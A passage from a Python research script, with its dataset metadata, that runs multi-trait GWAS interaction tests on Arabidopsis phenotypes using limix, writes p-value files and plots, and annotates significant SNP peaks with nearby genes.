np.array(self.phenotypes[[0]].loc[self.iid]).astype(np.float64)\n # p1 = (p1 - p1.min()) / (p1.max() - p1.min())\n # p2 = np.array(self.phenotypes[[1]].loc[self.iid]).astype(np.float64)\n # p2 = (p2 - p2.min()) / (p2.max() - p2.min())\n # pheno_norm = np.concatenate((p1, p2), axis=1)\n\n\n # exp transform (does not converge)\n\n # sqrt transform (does not converge)\n # p1 = np.array(self.phenotypes[[0]].loc[self.iid]).astype(np.float64)\n # p1 = np.sqrt((p1 - p1.min()) + 0.1 * np.std(p1))\n # p2 = np.array(self.phenotypes[[1]].loc[self.iid]).astype(np.float64)\n # p2 = np.sqrt((p2 - p2.min()) + 0.1 * np.std(p2))\n # pheno_norm = np.concatenate((p1, p2), axis=1)\n\n # pheno = np.array(self.phenotypes[[0, 1]].loc[self.iid])\n # pheno_norm = (pheno - pheno.mean(axis=0)) / pheno.std(axis=0)\n\n # box - cox - transform (does not converge)\n # p1 = np.array(self.phenotypes[[0]].loc[self.iid]).astype(np.float64)\n # p1 = self.box_cox_transform(p1)\n # p2 = np.array(self.phenotypes[[1]].loc[self.iid]).astype(np.float64)\n # p2 = self.box_cox_transform(p2)\n # pheno_norm = np.concatenate((p1, p2), axis=1)\n\n # ascombe transform (does not converge)\n # p1 = np.array(self.phenotypes[[0]].loc[self.iid]).astype(np.float64)\n # p1 = 2.0 * sp.sqrt(p1 + 3.0 / 8.0)\n # p2 = np.array(self.phenotypes[[1]].loc[self.iid]).astype(np.float64)\n # p2 = 2.0 * sp.sqrt(p2 + 3.0 / 8.0)\n # pheno_norm = np.concatenate((p1, p2), axis=1)\n\n\n\n # QTL\n n_pheno = pheno_norm.shape[1] # number of traits\n # N = len(self.ibs.shape[1]) # number of accessions\n covs = None\n Acovs = None\n K1r = self.ibs\n covar_type = 'freeform'\n\n # Testing for GxE effect\n Asnps0 = sp.ones((1, n_pheno)) # common effects: degree of freedom is 1\n Asnps1 = sp.zeros((2, n_pheno))\n Asnps1[0, :] = 1.0\n Asnps1[1, 0] = 1.0\n\n sys.stdout.write(\"calculating qtl ... \\n\")\n sys.stdout.flush()\n start = time.time()\n self.pvalues = qtl.qtl_test_interaction_lmm_kronecker(snps=self.ts_norm.values, phenos=pheno_norm, covs=covs,\n Acovs=Acovs,\n Asnps0=Asnps0,\n Asnps1=Asnps1, K1r=K1r)\n elapsed = time.time() - start\n sys.stdout.write(\"qtl finished. ({} s)\\n\".format(elapsed))\n\n def write_results(self, outputdir):\n if not os.path.isdir(outputdir):\n sys.stdout.write(\"creating output directory: {} ... \".format(outputdir))\n sys.stdout.flush()\n os.makedirs(outputdir)\n sys.stdout.write(\"ok.\\n\")\n sys.stdout.flush()\n\n sys.stdout.write(\"plotting and writing results ... \\n\")\n sys.stdout.flush()\n pvalues_inter = np.array(self.pvalues)\n pvalues_inter = pvalues_inter[:, 0, :]\n\n # if rnr is not None:\n # fileprefix = \"{}-mac{}-run{}\".format(\"-x-\".join(self.phenotypes.columns), self.mac_thres, rnr)\n # else:\n fileprefix = \"{}-mac{}\".format(\"-x-\".join(self.phenotypes.columns), self.mac_thres)\n\n # specific (G x E)\n sys.stdout.write(\"... writing specific interaction results ... \")\n start = time.time()\n\n pos = np.array(list(self.ts_norm.columns.values))\n chr_names = set(pos[:, 0].astype(np.str))\n\n gwas_result = res.GWASResult(chr_names, pos[:, 0].astype(np.str),\n pos[:, 1].astype(np.int), pvalues_inter[0],\n dict(mafs=self.mafs, macs=self.macs),\n additional_columns={})\n # gwas_result.save_as_csv(os.path.join(outputdir, \"{}_specific_pvals.csv\".format(fileprefix)))\n gwas_result.save_as_hdf5(os.path.join(outputdir, \"{}_specific_pvals.hdf5\".format(fileprefix)))\n gplt.plot_gwas_result(gwas_result, os.path.join(outputdir, \"{}_specific_manhattan.png\".format(fileprefix)),\n mac=self.mac_thres)\n gplt.plot_qq(gwas_result, os.path.join(outputdir, \"{}_specific_qq.png\".format(fileprefix)))\n sys.stdout.write(\"ok ({:f} s)\\n\".format(time.time() - start))\n\n # common\n sys.stdout.write(\"... writing common interaction results ... \")\n start = time.time()\n gwas_result = res.GWASResult(chr_names, pos[:, 0].astype(np.str),\n pos[:, 1].astype(np.int), pvalues_inter[1],\n dict(mafs=self.mafs, macs=self.macs),\n additional_columns={})\n # gwas_result.save_as_csv(os.path.join(outputdir, \"{}_common_pvals.csv\".format(fileprefix)))\n gwas_result.save_as_hdf5(os.path.join(outputdir, \"{}_common_pvals.hdf5\".format(fileprefix)))\n gplt.plot_gwas_result(gwas_result, os.path.join(outputdir, \"{}_common_manhattan.png\".format(fileprefix)),\n mac=self.mac_thres)\n gplt.plot_qq(gwas_result, os.path.join(outputdir, \"{}_common_qq.png\".format(fileprefix)))\n sys.stdout.write(\"ok ({:f} s)\\n\".format(time.time() - start))\n\n # any\n sys.stdout.write(\"... writing any interaction results ... \")\n start = time.time()\n gwas_result = res.GWASResult(chr_names, pos[:, 0].astype(np.str),\n pos[:, 1].astype(np.int), pvalues_inter[2],\n dict(mafs=self.mafs, macs=self.macs),\n additional_columns={})\n # gwas_result.save_as_csv(os.path.join(outputdir, \"{}_any_pvals.csv\".format(fileprefix)))\n gwas_result.save_as_hdf5(os.path.join(outputdir, \"{}_any_pvals.hdf5\".format(fileprefix)))\n gplt.plot_gwas_result(gwas_result, os.path.join(outputdir, \"{}_any_manhattan.png\".format(fileprefix)),\n mac=self.mac_thres)\n gplt.plot_qq(gwas_result, os.path.join(outputdir, \"{}_any_qq.png\".format(fileprefix)))\n sys.stdout.write(\"ok ({:f} s)\\n\".format(time.time() - start))\n sys.stdout.write(\"ok.\\n\")\n\n def do_genehunter(self, hunter_db, pval_thres=1.0e-5, mac_thres=10, udistance=4000, ddistance=4000, feature_depth=1,\n fdr_alpha=0.05, output_prefix=None):\n dbextract = GeneAnnotationDbExtractor(hunter_db)\n sys.stdout.write(\"gene hunter using database: {}\\n\".format(hunter_db))\n\n all_peaks_df = None\n origin = \"{}-mac{}\".format(\"-x-\".join(self.phenotypes.columns), self.mac_thres)\n interact_labels = [\"specific\", \"common\", \"any\"]\n for interact_ix in range(3):\n select_ix = np.where((self.pvalues[interact_ix][0] <= pval_thres) & (self.macs >= mac_thres))[0]\n if select_ix.size == 0:\n continue\n pos = np.array(list(self.ts_norm.columns.values))\n\n row = pd.Series(index=[\"Original_file\",\n \"Chromosome\",\n \"SNP_pos\",\n \"GWAS_pvalue\",\n \"MAC\",\n \"Bonferroni_{:.3f}_threshold\".format(fdr_alpha),\n \"BH_{:.3f}_threshold\".format(fdr_alpha),\n \"BH_FDR_{:.3f}_adjusted\".format(fdr_alpha),\n \"BH_FDR_{:.3f}_rejected\".format(fdr_alpha),\n \"Gene_start\",\n \"Gene_end\",\n \"Gene_orientation\",\n \"Relative_distance\",\n \"SNP_relative_position\",\n \"Target_AGI\",\n \"Target_element_type\",\n \"Target_sequence_type\",\n \"Target_annotation\",\n \"Target_attributes\"])\n row[\"Original_file\"] = \"{}_{}_pvals\".format(origin, interact_labels[interact_ix])\n # genes_df = none\n for ix in select_ix:\n ext_row = row.copy(deep=True)\n ext_row[\"Chromosome\"] = pos[ix, 0]\n ext_row[\"SNP_pos\"] = pos[ix, 1]\n ext_row[\"GWAS_pvalue\"] = self.pvalues[interact_ix][0][ix]\n ext_row[\"MAC\"] = self.macs[ix]\n\n genes = dbextract.extract_loc_uddist(pos[ix, 0], pos[ix, 1], udistance, ddistance)\n sys.stdout.write(\n \" peak: {}, pos {} -> {} genes in range\\n\".format(pos[ix, 0], pos[ix, 1], len(genes)))\n if len(genes) == 0:\n if all_peaks_df is not None:\n all_peaks_df = pd.concat([all_peaks_df, ext_row.to_frame().transpose()], axis=0,\n ignore_index=True)\n else:\n all_peaks_df = ext_row.to_frame().transpose()\n continue\n\n for g in genes:\n ext_row = pd.Series(row)\n ext_row[\"Gene_start\"] = g.start\n ext_row[\"Gene_end\"] = g.end\n ext_row[\"Gene_orientation\"] = g.strand\n if g.strand == '+':\n ext_row[\"Relative_distance\"] = pos[ix, 1] - g.start\n else:\n ext_row[\"Relative_distance\"] = g.start - pos[ix, 1]\n\n if g.start <= pos[ix, 1] <= g.end:\n ext_row[\"SNP_relative_position\"] = \"in gene\"\n elif pos[ix, 1] < g.start:\n if g.strand == '+':\n ext_row[\"SNP_relative_position\"] = \"upstream\"\n else:\n ext_row[\"SNP_relative_position\"] = \"downstream\"\n else:\n if g.strand == '+':\n ext_row[\"SNP_relative_position\"] = \"downstream\"\n else:\n ext_row[\"SNP_relative_position\"] = \"upstream\"\n ext_row[\"Target_AGI\"] = g.id\n ext_row[\"Target_element_type\"] = g.feature\n ext_row[\"Target_sequence_type\"] = g.sequencetype\n ext_row[\"Target_annotation\"] = \"NA\"\n ext_row[\"Target_attributes\"] = g.attribute\n\n if all_peaks_df is not None:\n all_peaks_df = pd.concat([all_peaks_df, ext_row.to_frame().transpose()], axis=0,\n ignore_index=True)\n else:\n all_peaks_df = ext_row.to_frame().transpose()\n\n if feature_depth >= 1:\n for rna in g.rna:\n ext_row = pd.Series(row)\n ext_row[\"Gene_start\"] = rna.start\n ext_row[\"Gene_end\"] = rna.end\n ext_row[\"Gene_orientation\"] = rna.strand\n if rna.strand == '+':\n ext_row[\"Relative_distance\"] = pos[ix, 1] - rna.start\n else:\n ext_row[\"Relative_distance\"] = rna.start - pos[ix, 1]\n\n if rna.start <= pos[ix, 1] <= rna.end:\n ext_row[\"SNP_relative_position\"] = \"in feature\"\n elif pos[ix, 1] < rna.start:\n if rna.strand == '+':\n ext_row[\"SNP_relative_position\"] = \"upstream\"\n else:\n ext_row[\"SNP_relative_position\"] = \"downstream\"\n else:\n if rna.strand == '+':\n ext_row[\"SNP_relative_position\"] = \"downstream\"\n else:\n ext_row[\"SNP_relative_position\"] = \"upstream\"\n ext_row[\"Target_AGI\"] = rna.id\n ext_row[\"Target_element_type\"] = rna.feature\n ext_row[\"Target_sequence_type\"] = rna.sequencetype\n if rna.short_annotation is not None:\n ext_row[\"Target_annotation\"] = rna.short_annotation\n else:\n ext_row[\"Target_annotation\"] = \"NA\"\n ext_row[\"Target_attributes\"] = rna.attribute\n\n all_peaks_df = pd.concat([all_peaks_df, ext_row.to_frame().transpose()], axis=0,\n ignore_index=True)\n sys.stdout.write(\"\\n\")\n if output_prefix is not None:\n output_prefix = output_prefix.replace(\"_\", \"-\")\n out_path = \"{}_gene-hunter_u{:d}_d{:d}_pval{:.3e}_mac{:d}_fdr{:.3f}.txt\".format(output_prefix,\n udistance,\n ddistance,\n pval_thres,\n mac_thres,\n fdr_alpha)\n out_path = os.path.join(args.dir, out_path)\n all_peaks_df.to_csv(out_path, sep='\\t', header=True, index=False)\n else:\n all_peaks_df.to_string(sys.stdout, header=True, index=False)\n\n\ndef run_by_environment_vars():\n sys.stdout.write(\"MTL run by environment variables.\\n\")\n tfile1 = os.environ['MTL_FILE1']\n tfile2 = os.environ['MTL_FILE2']\n tcols1str = os.environ['MTL_COLS1']\n tcols2str = os.environ['MTL_COLS2']\n tprefix1 = os.environ['MTL_PREFIX1']\n tprefix2 = os.environ['MTL_PREFIX2']\n snpsdb = os.environ['MTL_SNPS']\n macthres = os.environ['MTL_MAC']\n outputdir = os.environ['MTL_OUTDIR']\n jobid = int(os.getenv('PBS_ARRAY_INDEX', '0'))\n filesep = os.getenv('MTL_FILE_SEPARATOR', '\\t')\n\n dogenehunter = os.getenv('MTL_DO_GENEHUNTER', 'true')\n if dogenehunter.lower() == 'true':\n import argparse\n hunter_args = argparse.Namespace()\n hunter_args.db = os.environ['GHUNTER_DB']\n hunter_args.dir = outputdir\n\n sys.stdout.write(\"using the following options:\\n\")\n sys.stdout.write(\"trait file 1 : {}\\n\".format(tfile1))\n sys.stdout.write(\"trait file 2 : {}\\n\".format(tfile2))\n sys.stdout.write(\"file separator : {}\\n\".format(filesep))\n sys.stdout.write(\"column string 1: {}\\n\".format(tcols1str))\n sys.stdout.write(\"column string 2: {}\\n\".format(tcols2str))\n sys.stdout.write(\"prefix 1 : {}\\n\".format(tprefix1))\n sys.stdout.write(\"prefix 2 : {}\\n\".format(tprefix2))\n sys.stdout.write(\"snps database : {}\\n\".format(snpsdb))\n sys.stdout.write(\"mac threshold : {}\\n\".format(macthres))\n sys.stdout.write(\"job ID : {}\\n\".format(jobid))\n\n tcols1 = eval(tcols1str)\n tcols2 = eval(tcols2str)\n # tcols1 = [int(x) for x in tcols1str.lstrip('[').rstrip(']').split(',')]\n # tcols2 = [int(x) for x in tcols2str.lstrip('[').rstrip(']').split(',')]\n\n mt = MTL(int(macthres))\n mt.read_phenotype_col(tfile1, tcols1[jobid], tprefix1, sep=filesep)\n mt.read_phenotype_col(tfile2, tcols2[jobid], tprefix2, sep=filesep)\n mt.read_genotypes(snpsdb)\n mt.do_qtl()\n mt.write_results(outputdir)\n\n\nif __name__ == \"__main__\":\n # run_by_environment_vars()\n\n workdir = \"/net/gmi.oeaw.ac.at/busch/lab_new/Christian/mtl-tempstress\"\n genotypedir = \"/data/gwas/genotypes_for_pygwas/1.0.0/regmap_horton_et_al_2012\"\n\n limtmm = MTL(mac_thres=1)\n i = 1\n j = 13\n # limtmm.read_phenotype_col(os.path.join(workdir, \"bao_Std.txt\"), i, colprefix=\"ctrl{:d}\".format(i), sep=\"\\t\")\n # limtmm.read_phenotype_col(os.path.join(workdir, \"bao_Cd+.txt\"), j, colprefix=\"cd+{:d}\".format(j), sep=\"\\t\")\n limtmm.read_phenotype_col(os.path.join(workdir, \"29HT_acc_phenotypes_Brat.txt\"), i, colprefix=\"HT{:d}\".format(i))\n limtmm.read_phenotype_col(os.path.join(workdir, \"Climond_Bio35_busch_lab_all_accessions.csv\"), j, colprefix=\"Cli{:d}\".format(j))\n # limtmm.write_phenotypes(os.path.join(workdir, \"used_phenotypes_dbg_{}-{}.csv\".format(i, j)))\n limtmm.read_genotypes(os.path.join(genotypedir, \"all_chromosomes_binary.hdf5\"))\n limtmm.do_qtl()\n limtmm.write_results(os.path.join(workdir, \"ht-mtl-results\"))\n # limtmm.do_genehunter(\n # \"/home/GMI/christian.goeschl/devel/pycharm/GeneHunter/db/At30_20101214_genes_transposons.sqlite\")\n\n\n # for i in range(3, 23):\n # limtmm = MtmmLimix(mac_thres=5)\n # limtmm.read_phenotype_col(os.path.join(workdir, \"20170301_Zn_MS_RLd2.csv\"), i, colprefix=\"s{:d}\".format(i), sep=\",\")\n # limtmm.read_phenotype_col(os.path.join(workdir, \"20170301_Zn_MS_RLd2.csv\"), 8, colprefix=\"c{:d}\".format(i), sep=\",\")\n # limtmm.read_genotypes(os.path.join(workdir, \"all_chromosomes_binary.hdf5\"))\n # limtmm.do_qtl(os.path.join(workdir, \"debug-strigo-vs-ctrl\"))\n #\n # limtmm = MtmmLimix(mac_thres=5)\n # limtmm.read_phenotype_col(os.path.join(workdir, \"GWASinput_2016_strigolactone_means-na.csv\"), i, colprefix=\"s{:d}\".format(i), sep=\",\")\n # limtmm.read_phenotype_col(os.path.join(workdir, \"GWASinput_2016_control_means-na.csv\"), 8, colprefix=\"c{:d}\".format(i), sep=\",\")\n # limtmm.read_genotypes(os.path.join(workdir, \"all_chromosomes_binary.hdf5\"))\n # limtmm.do_qtl(os.path.join(workdir, \"debug-strigo-vs-ctrl\"))\n", "sub_path": "mtl/mtl.py", "file_name": "mtl.py", "file_ext": "py", "file_size_in_byte": 26677, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "pandas.DataFrame", "line_number": 27, "usage_type": "call"}, {"api_name": "sys.stdout.write", "line_number": 41, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 41, "usage_type": "attribute"}, {"api_name": "csv.Sniffer", "line_number": 43, "usage_type": "call"}, {"api_name": "csv.reader", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 55, "usage_type": "call"}, {"api_name": "sys.stdout.write", "line_number": 57, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 57, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 61, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 72, "usage_type": "call"}, {"api_name": "sys.stdout.write", "line_number": 73, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 73, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 82, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 82, "usage_type": "attribute"}, {"api_name": "sys.stdout.flush", "line_number": 83, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 83, "usage_type": "attribute"}, {"api_name": "h5py.File", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.in1d", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 92, "usage_type": "call"}, {"api_name": "numpy.repeat", "line_number": 95, "usage_type": "call"}, {"api_name": "sys.stdout.write", "line_number": 97, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 97, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 99, "usage_type": "call"}, {"api_name": "sys.stdout.write", "line_number": 102, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 102, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 105, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 107, "usage_type": "call"}, {"api_name": "pandas.MultiIndex.from_arrays", "line_number": 107, "usage_type": "call"}, {"api_name": "pandas.MultiIndex", "line_number": 107, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 110, "usage_type": "call"}, {"api_name": "numpy.invert", "line_number": 111, "usage_type": "call"}, {"api_name": "numpy.in1d", "line_number": 111, "usage_type": "call"}, {"api_name": "sys.stdout.write", "line_number": 114, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 114, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 117, "usage_type": "call"}, {"api_name": "pygwas_modules.kinship.calc_ibs_kinship", "line_number": 117, "usage_type": "call"}, {"api_name": "pygwas_modules.kinship", "line_number": 117, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 150, "usage_type": "call"}, {"api_name": "scipy.array", "line_number": 182, "usage_type": "call"}, {"api_name": "scipy.std", "line_number": 184, "usage_type": "call"}, {"api_name": "scipy.arange", "line_number": 188, "usage_type": "call"}, {"api_name": "scipy.log", "line_number": 191, "usage_type": "call"}, {"api_name": "scipy.stats.shapiro", "line_number": 194, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 194, "usage_type": "name"}, {"api_name": "scipy.isfinite", "line_number": 195, "usage_type": "call"}, {"api_name": "scipy.argmax", "line_number": 201, "usage_type": "call"}, {"api_name": "scipy.log", "line_number": 204, "usage_type": "call"}, {"api_name": "sys.stdout.write", "line_number": 208, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 208, "usage_type": "attribute"}, {"api_name": "numpy.vstack", "line_number": 217, "usage_type": "call"}, {"api_name": "scipy.ones", "line_number": 263, "usage_type": "call"}, {"api_name": "scipy.zeros", "line_number": 264, "usage_type": "call"}, {"api_name": "sys.stdout.write", "line_number": 268, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 268, "usage_type": "attribute"}, {"api_name": "sys.stdout.flush", "line_number": 269, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 269, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 270, "usage_type": "call"}, {"api_name": "limix.qtl.qtl_test_interaction_lmm_kronecker", "line_number": 271, "usage_type": "call"}, {"api_name": "limix.qtl", "line_number": 271, "usage_type": "name"}, {"api_name": "time.time", "line_number": 275, "usage_type": "call"}, {"api_name": "sys.stdout.write", "line_number": 276, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 276, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 279, "usage_type": "call"}, {"api_name": "os.path", "line_number": 279, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 280, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 280, "usage_type": "attribute"}, {"api_name": "sys.stdout.flush", "line_number": 281, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 281, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 282, "usage_type": "call"}, {"api_name": "sys.stdout.write", "line_number": 283, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 283, "usage_type": "attribute"}, {"api_name": "sys.stdout.flush", "line_number": 284, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 284, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 286, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 286, "usage_type": "attribute"}, {"api_name": "sys.stdout.flush", "line_number": 287, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 287, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 288, "usage_type": "call"}, {"api_name": "sys.stdout.write", "line_number": 297, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 297, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 298, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 300, "usage_type": "call"}, {"api_name": "numpy.str", "line_number": 301, "usage_type": "attribute"}, {"api_name": "pygwas_modules.result.GWASResult", "line_number": 303, "usage_type": "call"}, {"api_name": "pygwas_modules.result", "line_number": 303, "usage_type": "name"}, {"api_name": "numpy.str", "line_number": 303, "usage_type": "attribute"}, {"api_name": "numpy.int", "line_number": 304, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 308, "usage_type": "call"}, {"api_name": "os.path", "line_number": 308, "usage_type": "attribute"}, {"api_name": "pygwas_modules.plotting.plot_gwas_result", "line_number": 309, "usage_type": "call"}, {"api_name": "pygwas_modules.plotting", "line_number": 309, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 309, "usage_type": "call"}, {"api_name": "os.path", "line_number": 309, "usage_type": "attribute"}, {"api_name": "pygwas_modules.plotting.plot_qq", "line_number": 311, "usage_type": "call"}, {"api_name": "pygwas_modules.plotting", "line_number": 311, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 311, "usage_type": "call"}, {"api_name": "os.path", "line_number": 311, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 312, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 312, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 312, "usage_type": "call"}, {"api_name": "sys.stdout.write", "line_number": 315, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 315, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 316, "usage_type": "call"}, {"api_name": "pygwas_modules.result.GWASResult", "line_number": 317, "usage_type": "call"}, {"api_name": "pygwas_modules.result", "line_number": 317, "usage_type": "name"}, {"api_name": "numpy.str", "line_number": 317, "usage_type": "attribute"}, {"api_name": "numpy.int", "line_number": 318, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 322, "usage_type": "call"}, {"api_name": "os.path", "line_number": 322, "usage_type": "attribute"}, {"api_name": "pygwas_modules.plotting.plot_gwas_result", "line_number": 323, "usage_type": "call"}, {"api_name": "pygwas_modules.plotting", "line_number": 323, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 323, "usage_type": "call"}, {"api_name": "os.path", "line_number": 323, "usage_type": "attribute"}, {"api_name": "pygwas_modules.plotting.plot_qq", "line_number": 325, "usage_type": "call"}, {"api_name": "pygwas_modules.plotting", "line_number": 325, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 325, "usage_type": "call"}, {"api_name": "os.path", "line_number": 325, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 326, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 326, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 326, "usage_type": "call"}, {"api_name": "sys.stdout.write", "line_number": 329, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 329, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 330, "usage_type": "call"}, {"api_name": "pygwas_modules.result.GWASResult", "line_number": 331, "usage_type": "call"}, {"api_name": "pygwas_modules.result", "line_number": 331, "usage_type": "name"}, {"api_name": "numpy.str", "line_number": 331, "usage_type": "attribute"}, {"api_name": "numpy.int", "line_number": 332, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 336, "usage_type": "call"}, {"api_name": "os.path", "line_number": 336, "usage_type": "attribute"}, {"api_name": "pygwas_modules.plotting.plot_gwas_result", "line_number": 337, "usage_type": "call"}, {"api_name": "pygwas_modules.plotting", "line_number": 337, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 337, "usage_type": "call"}, {"api_name": "os.path", "line_number": 337, "usage_type": "attribute"}, {"api_name": "pygwas_modules.plotting.plot_qq", "line_number": 339, "usage_type": "call"}, {"api_name": "pygwas_modules.plotting", "line_number": 339, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 339, "usage_type": "call"}, {"api_name": "os.path", "line_number": 339, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 340, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 340, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 340, "usage_type": "call"}, {"api_name": "sys.stdout.write", "line_number": 341, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 341, "usage_type": "attribute"}, {"api_name": "genehunter.core.GeneAnnotationDbExtractor.GeneAnnotationDbExtractor", "line_number": 345, "usage_type": "call"}, {"api_name": "sys.stdout.write", "line_number": 346, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 346, "usage_type": "attribute"}, {"api_name": "numpy.where", "line_number": 352, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 355, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 357, "usage_type": "call"}, {"api_name": "sys.stdout.write", "line_number": 386, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 386, "usage_type": "attribute"}, {"api_name": "pandas.concat", "line_number": 390, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 397, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 425, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 432, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 462, "usage_type": "call"}, {"api_name": "sys.stdout.write", "line_number": 464, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 464, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 473, "usage_type": "call"}, {"api_name": "os.path", "line_number": 473, "usage_type": "attribute"}, {"api_name": "sys.stdout", "line_number": 476, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 480, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 480, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 481, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 482, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 483, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 484, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 485, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 486, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 487, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 488, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 489, "usage_type": "attribute"}, {"api_name": "os.getenv", "line_number": 490, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 491, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 493, "usage_type": "call"}, {"api_name": "argparse.Namespace", "line_number": 496, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 497, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 500, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 500, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 501, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 501, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 502, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 502, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 503, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 503, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 504, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 504, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 505, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 505, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 506, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 506, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 507, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 507, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 508, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 508, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 509, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 509, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 510, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 510, "usage_type": "attribute"}, {"api_name": "{'stats': 'scipy.stats'}", "line_number": 517, "usage_type": "call"}, {"api_name": "{'stats': 'scipy.stats'}", "line_number": 531, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 536, "usage_type": "call"}, {"api_name": "os.path", "line_number": 536, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 537, "usage_type": "call"}, {"api_name": "os.path", "line_number": 537, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 539, "usage_type": "call"}, 